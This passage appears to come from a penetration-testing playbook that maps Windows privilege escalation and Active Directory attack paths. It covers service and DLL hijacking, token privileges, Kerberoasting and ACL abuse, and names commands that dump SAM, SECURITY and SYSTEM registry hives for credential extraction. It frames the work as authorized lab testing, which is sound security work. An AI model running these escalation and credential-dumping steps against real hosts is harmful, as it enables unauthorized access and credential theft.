icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
Read the result
A higher-identity service consumes a potentially replaceable file in a modifiable directory.
Still check: Use sc qc to locate the real binary and account, then icacls on that file and its parent. Confirm replacement rights and an available privileged service start/restart; a writable unrelated file is insufficient.
Illustrative output
SERVICE_START_NAME: LocalSystem BINARY_PATH_NAME: C:\APP\service.exe C:\APP: DOMAIN\GROUP:(M)
Validate prerequisites and compare methods
Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
What did you find?
Enabled: The replaced compatible file is actually started under the service identity: select this route.
Ruled out here: The modified directory is unrelated to the configured executable: reject this consumer assumption.
Unresolved: A writable path without restart/boot evidence leaves execution unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Match an artifact to its executable consumer and runtime — A downloaded/generated artifact exists but does not run
Requires: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries
Exploit an unquoted service path with a writable earlier prefixNot inspectedA service command line contains unquoted spaces
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,PathName
Read the result
Spaces plus absent executable quoting create candidate earlier prefixes; writable placement and trigger remain unproved.
Still check: Read the unquoted service command with sc qc. Check each earlier executable prefix for write/create access with icacls; confirm the service account and restart trigger. Spaces alone do not make the path exploitable.
Illustrative output
StartName: LocalSystem PathName: C:\Program Files\Vendor App\service.exe -d Quotes around executable: absent
Validate prerequisites and compare methods
An earlier executable prefix is absent and creatable, service identity is higher and a start/restart trigger exists
Get-CimInstance Win32_Service | Select-Object Name,StartName,PathName
What did you find?
Enabled: A usable earlier prefix is selected at a privileged trigger: choose this parsing route.
Ruled out here: All earlier prefixes are protected, already occupied or the executable is correctly quoted: reject it.
Unresolved: A scanner flag without prefix/trigger checks leaves exploitability unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries
Replace a privileged service binary or consumed file — A privileged service consumes a file whose bytes or parent replacement are controllable
Requires: Effective file/parent replacement rights, compatible artifact, file-lock handling and available privileged restart/boot trigger
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Control a privileged DLL, helper or configuration loadNot inspectedA privileged application searches for a missing dependency or consumes writable configuration
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
Procmon, when accessible: filter the actual process; inspect requested .dll paths and NAME NOT FOUND results.
Record the exact requested filename and every searched location.
Then inspect the selected location's effective ACL with the owning procedure.
Read the result
An actual requested missing dependency is stronger than guessing a DLL name, but does not prove an attacker-controlled resolution wins.
Still check: Validate real privilege, search precedence/KnownDLLs/manifests, directory control, ABI/exports and a load trigger.
Illustrative output
PROCESS CreateFile C:\SEARCH_PATH\missing.dll NAME NOT FOUND Privilege and selected search order: not yet verified
Validate prerequisites and compare methods
Actual controlled resolution path, compatible name/architecture/exports and a reliable privileged load trigger
icacls "C:\Path\To\Application"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
What did you find?
Enabled: The privileged process selects the controlled compatible dependency: choose that load route.
Ruled out here: A trusted manifest/earlier location resolves it before the writable directory: reject that path.
Unresolved: No runtime visibility leaves loading behavior unresolved; retain it as a candidate rather than declaring hijack success.
Show connections
These are conditional possibilities. Check the named condition before moving.
Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants
Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Control scheduled tasks, startup files or autostart consumersNot inspectedA task/startup action consumes a writable command, file, directory or registry value
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
Read the result
A named privileged task exposes a concrete consumer and action path to investigate.
Still check: Read the task's exact action, principal and trigger with schtasks or Get-ScheduledTask. Check icacls on its file/parents and prove the stronger identity will consume the controlled path at a reachable trigger.
Illustrative output
Principal: SYSTEM Action: powershell.exe -File C:\APP\job.ps1 Trigger: scheduled File control: inspect separately
Validate prerequisites and compare methods
Effective object control, a higher principal and a usable scheduled/logon/manual trigger
schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
What did you find?
Enabled: The controllable action is consumed under the expected higher token: select the task route.
Ruled out here: The real principal is the same low user: reject assumed elevation.
Unresolved: Task registration or run acceptance without process/effect evidence leaves execution unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Change a privileged service's executable configuration — Effective SERVICE_CHANGE_CONFIG on a higher-privileged service
Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger
Validate elevated installer policy and administrative-token contextNot inspectedInstaller policy values or an administrator account with a filtered token
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all
Read the result
One policy value is insufficient; the two-policy conjunction is the key recognition condition.
Still check: For installer execution verify both applicable values and permitted MSI/runtime; assess UAC administrator/token prerequisites separately.
Illustrative output
HKLM AlwaysInstallElevated REG_DWORD 0x1 HKCU AlwaysInstallElevated: value not found
Validate prerequisites and compare methods
AlwaysInstallElevated requires both effective machine/user policy values and permitted MSI execution; UAC routes require their own compatible administrator/token context
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
whoami /all
What did you find?
Enabled: Both required policies and a compatible permitted installer consumer exist: validate that route's effect.
Ruled out here: The required user policy is absent/disabled: reject this elevated-installer method.
Unresolved: Policy visibility failure or unknown effective context requires another check.
Show connections
These are conditional possibilities. Check the named condition before moving.
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Select a privilege-backed impersonation or object-control route — whoami /priv exposes a relevant token privilege
Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context
Generate a payload matching OS, process, format and handler — An existing exploit/delivery primitive needs a binary or raw payload
Requires: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener
Select a privilege-backed impersonation or object-control routeNot inspectedwhoami /priv exposes a relevant token privilege
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
whoami /priv
whoami /all
Read the result
An impersonation capability is present; the privileged authentication source required by a specific tool is not established.
Still check: Read whoami /priv and whoami /all. Match the exact privilege, enabled state and token context to the technique's required API/trigger, then verify the resulting identity; the privilege name alone is not SYSTEM.
Illustrative output
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Validate prerequisites and compare methods
The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context
whoami /priv
whoami /all
What did you find?
Enabled: The required source and privileged token operation work: select that compatible method.
Ruled out here: The required authentication service/source is unavailable: reject that tool's chain.
Unresolved: Privilege presence alone leaves exploit selection unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Use backup privilege to obtain protected local credential material — A token has the relevant backup rights and protected registry/files are a useful credential source
Requires: Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination
Obtain accessible live logon-session credential material — A controlled Windows host may hold useful logged-on identities
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material
Select a matching application, driver or kernel exploit — An exact vulnerable local component is present after simpler paths are assessed
Requires: Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions
Use backup privilege to obtain protected local credential materialNot inspectedA token has the relevant backup rights and protected registry/files are a useful credential source
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
whoami /priv
Read the result
The privilege is assigned but initially disabled; permitted software may enable it for backup-semantic reads.
Still check: Check that the privilege can actually be used, supporting API/context, complete matched source set and writable output.
Illustrative output
SeBackupPrivilege Back up files and directories Disabled
Validate prerequisites and compare methods
Usable backup privilege, compatible backup API/command and a matched protected source set with a writable destination
whoami /priv
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
What did you find?
Enabled: A permitted backup-aware operation produces matched protected source files: select offline extraction.
Ruled out here: The token has no required privilege and no alternate read permission: reject this backup route.
Unresolved: Ordinary copy denial does not settle a backup-semantic operation; verify the API rather than inferring absence.
Show connections
These are conditional possibilities. Check the named condition before moving.
Extract local account hashes from matched SAM and SYSTEM — Protected local registry material is available under sufficient host privilege
Requires: Matched SAM/SYSTEM from the same system and appropriate read/backup access
Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Select a matching application, driver or kernel exploitNot inspectedAn exact vulnerable local component is present after simpler paths are assessed
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
Get-ComputerInfo | Select-Object OsBuildNumber,OsArchitecture
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName
Read the result
The exact component/build is the candidate evidence; an OS-family name or one missing KB is insufficient.
Still check: Verify vendor patch state, required driver/service/feature, architecture and PoC assumptions.
Illustrative output
OS build: BUILD Driver: DRIVER_NAME at DRIVER_PATH Affected driver version: not yet established
Validate prerequisites and compare methods
Affected build/patch/architecture, required service/driver/configuration and compatible exploit assumptions
Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber
Get-HotFix
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,PathName
What did you find?
Enabled: The affected configuration and compatible reviewed artifact are confirmed: select the bounded exploit test.
Ruled out here: The driver/feature is absent or the installed version is fixed: reject that candidate.
Unresolved: An incomplete update inventory leaves vulnerability unconfirmed.
Show connections
These are conditional possibilities. Check the named condition before moving.
Match a public exploit to the actual component and configuration — A product/version clue, advisory or component-specific public PoC
Requires: Exact vulnerable build/configuration, required access and endpoint behavior; reviewable source and a verifiable expected effect
Compile and minimally adapt an existing native or memory-corruption PoC — An existing C/C++ or platform-specific PoC matches the candidate
Requires: Correct compiler/target architecture, runtime dependencies, documented payload constraints and validated exploit-specific constants
Establish Windows token, host and process context — A new Windows session or claimed administrator/SYSTEM transition
Requires: A functioning command channel and the actual effective token/process context
Turn automated Windows findings into manually verified candidatesNot inspectedA Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials
Starting access: A verified Windows foothold with a known token, integrity level and groups
Discover the clue
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
Read the result
The enumerator located a configuration clue, not the full usable chain.
Still check: Run winPEAS with log output, then inspect the exact reported service with sc qc/sc sdshow and its file with icacls. Check token highlights with whoami /priv. A collector's colored line is not the resulting elevated token.
Illustrative output
Tool candidate: unquoted SERVICE path Writable earlier prefix: not checked Trigger: not checked
Validate prerequisites and compare methods
Verified current token and architecture, a compatible reviewed executable or allowed PowerShell runtime, and a writable report location
whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
What did you find?
Enabled: The native checks establish the complete method conditions: select its owning route.
Ruled out here: Protected prefixes or a low consumer disprove the proposed elevation: discard the finding's exploit interpretation.
Unresolved: Tool blocking/partial visibility leaves enumeration incomplete; use native/application-specific checks.
Show connections
These are conditional possibilities. Check the named condition before moving.
Prove effective file, registry and service-object permissions — A privileged object appears writable or an ACL tool reports a useful right
Requires: Correct trustee/token, object type and effective rights including parents and deny entries
Change a privileged service's executable configuration — Effective SERVICE_CHANGE_CONFIG on a higher-privileged service
Requires: Configuration-change right, accessible compatible payload path and a separate start/restart trigger
Select a privilege-backed impersonation or object-control route — whoami /priv exposes a relevant token privilege
Requires: The exact privilege and usable operation; impersonation additionally needs a compatible privileged authentication source, OS/service state and executable context
S01 · Inspect host-side RDP enablement and logon policyNot inspected
- Enter: you have authorized local administrative or equivalent management access to a Windows destination, and RDP access is relevant or failing.
- Discover: inspect
TermService,fDenyTSConnections, configuredPortNumber,qwinstalistener state and the actual source-to-port path. - Validate: inspect NLA/security-layer policy, applied GPO, local Remote Desktop Users membership, and the effective
SeRemoteInteractiveLogonRight/SeDenyRemoteInteractiveLogonRightassignments. Deny overrides allow. - Execute: RDP host-side inspection; then use the RDP access procedure only when its conditions are satisfied.
- Verify: a usable desktop followed by
whoami,hostnameandipconfigestablishes the new host/identity/source position. Authentication-only success is not an interactive session. - Outcomes: listener/right/client conditions satisfied → D29 then D18; decisive deny/no listener → ruled out here; policy, SID expansion or filtering unresolved → inconclusive.
Map Active Directory attack paths
Establish domain identity, DC, DNS, time and routeNot inspectedDomain credentials or a domain-joined foothold
Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query
Discover the clue
whoami /all
whoami /upn
nltest /dsgetdc:DOMAIN
w32tm /query /status
Read the result
The named realm/DC and actual identity establish where directory/authentication checks must run.
Still check: Check DC/service reachability, resolver/SPN naming and clock compatibility, not merely the password.
Illustrative output
UPN: USER@DOMAIN DC: \\DC_HOST Domain name: DOMAIN Clock source/status: inspect
Validate prerequisites and compare methods
Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew
whoami /all
whoami /upn
nltest /dsgetdc:DOMAIN
w32tm /query /status
What did you find?
Enabled: A normal bind/ticket request works in the intended realm: continue domain mapping.
Ruled out here: The credential belongs only to the target-local account: reject the assumed domain identity.
Unresolved: DC lookup/time failure leaves domain authentication untested.
Show connections
These are conditional possibilities. Check the named condition before moving.
Enumerate directory objects with native, LDAP and PowerView approaches — A directory bind or domain-joined identity can read relevant objects
Requires: Correct search base and authentication transport; object/attribute visibility and compatible local utilities
Preserve DNS, Kerberos names and time across a pivot — An IP connection works while hostname/Kerberos access fails
Requires: Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
Match route, destination service and effective authorization — A credential appears valid but the destination's usable access is unknown
Requires: Real source-to-service route, correct identity context and protocol-specific execution/logon rights
Enumerate directory objects with native, LDAP and PowerView approachesNot inspectedA directory bind or domain-joined identity can read relevant objects
Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query
Discover the clue
net user USER /domain
net group "GROUP" /domain
Read the result
Account/group membership supplies a relationship to investigate; nested membership and effective destination rights remain separate.
Still check: Verify object SID/type, nesting and the exact right granted to that principal.
Illustrative output
Account: USER Global group memberships: GROUP Group members: CONTROLLED_USER
Validate prerequisites and compare methods
Correct search base and authentication transport; object/attribute visibility and compatible local utilities
net user /domain
net group /domain
What did you find?
Enabled: The membership resolves to a currently effective object/service right: follow that route.
Ruled out here: The same-named group belongs to another domain or grants no intended right: reject the assumed relationship.
Unresolved: Partial visibility or nesting not yet expanded leaves effective membership unresolved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation
Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient
Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy
Collect focused BloodHound data and validate an attack path — Directory relationships are too broad for manual comparison or a candidate chain needs ranking
Requires: Compatible collector/deployment, explicit scope, directory rights and separate permission/connectivity for host/session collection
Identify service accounts and SPNs worth investigating — User-owned SPNs or service-account clues
Requires: Directory visibility and correct service/account association; roasting requires the additional authentication and encryption conditions
Request AS-REP material for an account without preauthentication — A known user or directory flag indicates Kerberos preauthentication is disabled
Requires: Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ
Conditional: trace GPO control to privileged policy consumption — A useful linked GPO has a potentially controllable directory or SYSVOL component
Requires: Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger
Conditional: use a validated delegation or RBCD relationship — Delegation configuration or computer-object write suggests a Kerberos impersonation path
Requires: Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow
Conditional: validate an AD CS enrollment-to-authentication path — A CA/template configuration exposes a plausible certificate identity transition
Requires: Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path
Identify service accounts and SPNs worth investigatingNot inspectedUser-owned SPNs or service-account clues
Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query
Discover the clue
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof
Read the result
A user-owned service name identifies a potential ticket/password-recovery target whose rights may be useful.
Still check: Check actual account type, KDC authentication, encryption type and feasibility; SPN existence alone is not weakness.
Illustrative output
samaccountname: SERVICE_USER serviceprincipalname: HTTP/TARGET_HOST memberof: GROUP
Validate prerequisites and compare methods
Directory visibility and correct service/account association; roasting requires the additional authentication and encryption conditions
setspn -Q */*
What did you find?
Enabled: The selected account is requestable and recovery is justified: choose the roast method.
Ruled out here: The candidate is a strong random machine-account key with no useful recovery rationale: reject the assumed easy-password path.
Unresolved: Unknown ownership or unreadable attributes require a narrower directory query.
Show connections
These are conditional possibilities. Check the named condition before moving.
Request a selected service ticket for offline service-account recovery — A user-owned SPN and a useful service-account relationship
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy
Recover passwords with feasible dictionary, rule and mask attacks — A supported stored verifier or converted protected artifact
Requires: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend
Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation
Validate effective directory-object controlNot inspectedAn ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query
Discover the clue
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
Read the result
A DACL-control ACE for a possibly controlled trustee opens an intermediate-right candidate.
Still check: Resolve the ACE's trustee and group nesting, target object class, GUID and inheritance/deny scope. For password reset, group writes or DACL changes open that exact operation's procedure and check its additional conditions before modifying anything.
Illustrative output
SecurityIdentifier: CONTROLLED_GROUP_SID ActiveDirectoryRights: WriteDacl Target: TARGET_OBJECT
Validate prerequisites and compare methods
Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
What did you find?
Enabled: The trustee and exact right apply to the target: select the corresponding object transition.
Ruled out here: The ACE applies to another object type/trustee or is overridden: reject that edge.
Unresolved: A graph label or unresolved SID does not establish current effective control.
Show connections
These are conditional possibilities. Check the named condition before moving.
Reset a target account password through a validated directory right — A controlled trustee has the effective password-reset right on a useful account
Requires: Exact object/right and account state; the disruptive password change is justified within the assigned lab objective
Add a controlled identity to a group through effective membership rights — A group member-attribute write or equivalent effective right
Requires: Exact target group, controlled principal, useful resulting right and a fresh token/logon context
Convert ownership or DACL control into a narrower useful right — Effective WriteOwner or WriteDacl on a useful directory object
Requires: Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner
Use validated directory replication rights for bounded credential proof — A principal has the relevant effective replication rights at the domain naming context
Requires: Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient
Validate host access and volatile session candidatesNot inspectedGroup-to-host access edges or a privileged user's possible session
Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query
Discover the clue
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
Read the result
A permitted SMB action identifies a host capability; it does not establish RDP/WinRM/SCM rights. Investigate sessions only with a supported, permitted remote query.
Still check: Verify actual group effectiveness, service/logon rights, session freshness and collection visibility.
Illustrative output
SMB authentication: accepted SHARE: READ RDP/WinRM/WMI authorization: not established
Validate prerequisites and compare methods
Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient
whoami /groups
net localgroup Administrators
What did you find?
Enabled: The intended host service accepts the account and action: use that particular access form.
Ruled out here: RDP membership does not grant the proposed service-creation right: reject that method.
Unresolved: Denied session enumeration is a visibility limit, not proof that no useful sessions exist.
Show connections
These are conditional possibilities. Check the named condition before moving.
Obtain an authorized RDP interactive session — RDP is reachable and the identity may have remote-interactive logon rights
Requires: Allowed account/session policy and compatible client/NLA/TLS; hash-based Restricted Admin has additional supported-policy/admin requirements
Use WinRM, WinRS or PowerShell remoting — A WinRM listener and a candidate endpoint-authorized account
Requires: Reachable HTTP(S) listener, accepted authentication and endpoint/session configuration permissions; hash/ticket support depends on client/context
Obtain accessible live logon-session credential material — A controlled Windows host may hold useful logged-on identities
Requires: Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material
Collect focused BloodHound data and validate an attack pathNot inspectedDirectory relationships are too broad for manual comparison or a candidate chain needs ranking
Starting access: A known domain identity or a directory endpoint that permits the selected anonymous query
Discover the clue
In BloodHound: locate the controlled principal; inspect the exact edge, source object, destination and collection age.
Resolve its underlying group/ACL/service evidence with the corresponding manual method.
Read the result
The directory edge supplies a candidate intermediate right; missing host/session evidence cannot be invented from the graph.
Still check: Collect with a version-compatible SharpHound/BloodHound collector, then validate the selected edge. Resolve group nesting and effective ACEs for object control; test destination rights and session freshness for host/session edges.
Illustrative output
Graph path: CONTROLLED_GROUP -> WriteDacl -> TARGET_USER Collection scope: directory only Host/session data: not collected
Validate prerequisites and compare methods
Compatible collector/deployment, explicit scope, directory rights and separate permission/connectivity for host/session collection
SharpHound.exe --help
What did you find?
Enabled: Every relevant edge is current and enabled: rank the connected path against alternatives.
Ruled out here: One edge is stale or ineffective: reject that chain in its current form.
Unresolved: A missing edge in partial collection leaves capability unknown, not absent.
Show connections
These are conditional possibilities. Check the named condition before moving.
Validate effective directory-object control — An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right
Requires: Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation
Validate host access and volatile session candidates — Group-to-host access edges or a privileged user's possible session
Requires: Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient
Maintain state and select the next evidence-producing test — Several hosts, identities, routes or competing hypotheses need coordination
Requires: Explicit scope/objective and a record of observations, unknowns and available capabilities
S11 · Interpret an AD trust as a boundary, not a privilege transitionNot inspectedDiscovery / validation only · action procedure pending
- Enter: directory or native trust enumeration identifies another domain/forest relationship.
- Discover: record source and destination domain, direction, trust type/transitivity, same-forest versus cross-forest context, selective authentication and SID filtering.
- Validate: destination DNS/KDC/service reachability, accepted identity, target SPN, allowed-to-authenticate/resource rights and the exact capability sought. A trust object or child-domain administration is not automatically forest compromise.
- Execute: Trust-boundary inspection, then movement preflight.
- Verify: establish one destination service action under the named identity. Trust-key/SID-history forgery and coercion chains are not registered complete procedures; see RW04.
- Outcomes: destination service accepts the identity and action → D29; filtering/selective-auth/resource authorization decisively denies it → ruled out here; direction/filtering/identity or route unresolved → inconclusive.
S18 · Inspect AD-integrated DNS record controlNot inspectedDiscovery / validation only · action procedure pending
-
Enter: AD-integrated DNS is present and a selected zone or record object may be writable by the current principal.
-
Discover: enumerate the zone container and record objects from a domain Windows context:
$Root = (Get-ADRootDSE).defaultNamingContext $DnsBase = "CN=MicrosoftDNS,DC=DomainDnsZones,$Root" Get-ADObject -SearchBase $DnsBase -LDAPFilter '(objectClass=dnsNode)' -Properties dnsRecord -ResultSetSize 50 -
Validate: identify one exact
dnsNodedistinguished name, effective create/write-child or record-property right, zone replication scope, resolver path, intended record/value, TTL and cleanup/restore plan. Zone visibility is not write permission. -
Execute: no record-add/modify/delete procedure is registered; keep mutation unavailable under RW10.
-
Verify: a future write must resolve through the intended client path and cleanup must restore only the changed record. LDAP success alone is insufficient.
-
Outcomes: exact writable object/zone and resolver path established → ready for RW10; effective right denied or non-AD-integrated zone → ruled out here; object visible but ACL/replication/client resolver unresolved → inconclusive.
Gain a more useful domain identity
Obtain accessible live logon-session credential materialNot inspectedA controlled Windows host may hold useful logged-on identities
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
whoami /all
query user
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
Read the result
A useful session is a possible source, while PPL/protection can prevent the chosen process-memory access.
Still check: Verify actual privilege, fresh useful sessions, process/architecture compatibility and protection; prefer accessible tickets when sufficient.
Illustrative output
Current context: privileged host token Session list: DOMAIN\USER may be present RunAsPPL: enabled
Validate prerequisites and compare methods
Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material
whoami /all
query user
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
What did you find?
Enabled: The authorized source is accessible and yields correctly classified material: follow its actual credential type.
Ruled out here: The required source is protected/unavailable to this context: reject that collection method.
Unresolved: A past graph session without fresh host evidence leaves useful live material unknown.
Show connections
These are conditional possibilities. Check the named condition before moving.
Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights
Classify tickets and use a compatible cache — A ccache/kirbi file or an existing ticket cache
Requires: Correct principal/realm, valid lifetime, service scope, compatible cache format and naming/KDC route
Extract local account hashes from matched SAM and SYSTEM — Protected local registry material is available under sufficient host privilege
Requires: Matched SAM/SYSTEM from the same system and appropriate read/backup access
Parse an offline domain database or select a justified remote collection path — An already controlled DC or a validated privileged domain collection context
Requires: Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method
Extract local account hashes from matched SAM and SYSTEMNot inspectedProtected local registry material is available under sufficient host privilege
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
hostname
whoami /priv
Read the result
Sufficient source access suggests local-account extraction, not domain-account extraction.
Still check: Verify a supported backup/read operation, complete same-host hives and offline parser context.
Illustrative output
Host: TARGET_HOST Relevant backup/read privilege: present Needed pair: SAM plus matching SYSTEM
Validate prerequisites and compare methods
Matched SAM/SYSTEM from the same system and appropriate read/backup access
whoami /priv
reg save HKLM\SAM C:\Windows\Temp\SAM.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save
What did you find?
Enabled: The matched local pair is available and parses correctly: classify the returned local hashes.
Ruled out here: Only unrelated/mismatched hives are available: reject parsing them as a consistent pair.
Unresolved: A privilege name alone does not establish the artifacts can be obtained.
Show connections
These are conditional possibilities. Check the named condition before moving.
Recover or reuse an NT password hash — An NT verifier from an appropriate credential source
Requires: Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights
Select password, NT hash, key-to-ticket or ticket authentication — A password, actual NT hash, AES/NT long-term key or ticket is available
Requires: Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Extract LSA secrets and cached-domain verifiers — Matched SECURITY/SYSTEM material is accessible
Requires: Appropriate host/read privilege and complete matching key/source files
Extract LSA secrets and cached-domain verifiersNot inspectedMatched SECURITY/SYSTEM material is accessible
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
hostname
whoami /priv
Read the result
A SECURITY source targets secrets/cached verifiers with distinct semantics; it is not simply another SAM.
Still check: Confirm matched key material and classify every returned service/machine secret or DCC2 record.
Illustrative output
Available snapshot: SECURITY.save Matching SYSTEM.save: verify Expected outputs: LSA secrets and cached logon records
Validate prerequisites and compare methods
Appropriate host/read privilege and complete matching key/source files
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save
What did you find?
Enabled: A complete matched source yields usable typed material: choose its type-specific next method.
Ruled out here: The SYSTEM file comes from another snapshot/machine: reject that consistency assumption.
Unresolved: An empty parser result with incomplete source/context leaves credential absence unproved.
Show connections
These are conditional possibilities. Check the named condition before moving.
Recover a password from cached domain logon verifiers — A DCC2/MSCache record from matched SECURITY/SYSTEM material
Requires: Correct username/salt/iteration context and feasible offline candidates
Validate known passwords and context-specific reuse — A password tied to a plausible user and service
Requires: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
Classify the artifact and its identity context — A secret-like value, key file, stored hash, challenge response or ticket
Requires: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Use Credential Manager and DPAPI with the protecting contextNot inspectedSaved credentials or protected application blobs/master keys
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right
Discover the clue
whoami /user
cmdkey /list
Read the result
The target and protecting SID identify which keys/context or consumer must be investigated.
Still check: Check matching master keys/recovery factors or an allowed saved-credential consumer; file read alone is insufficient.
Illustrative output
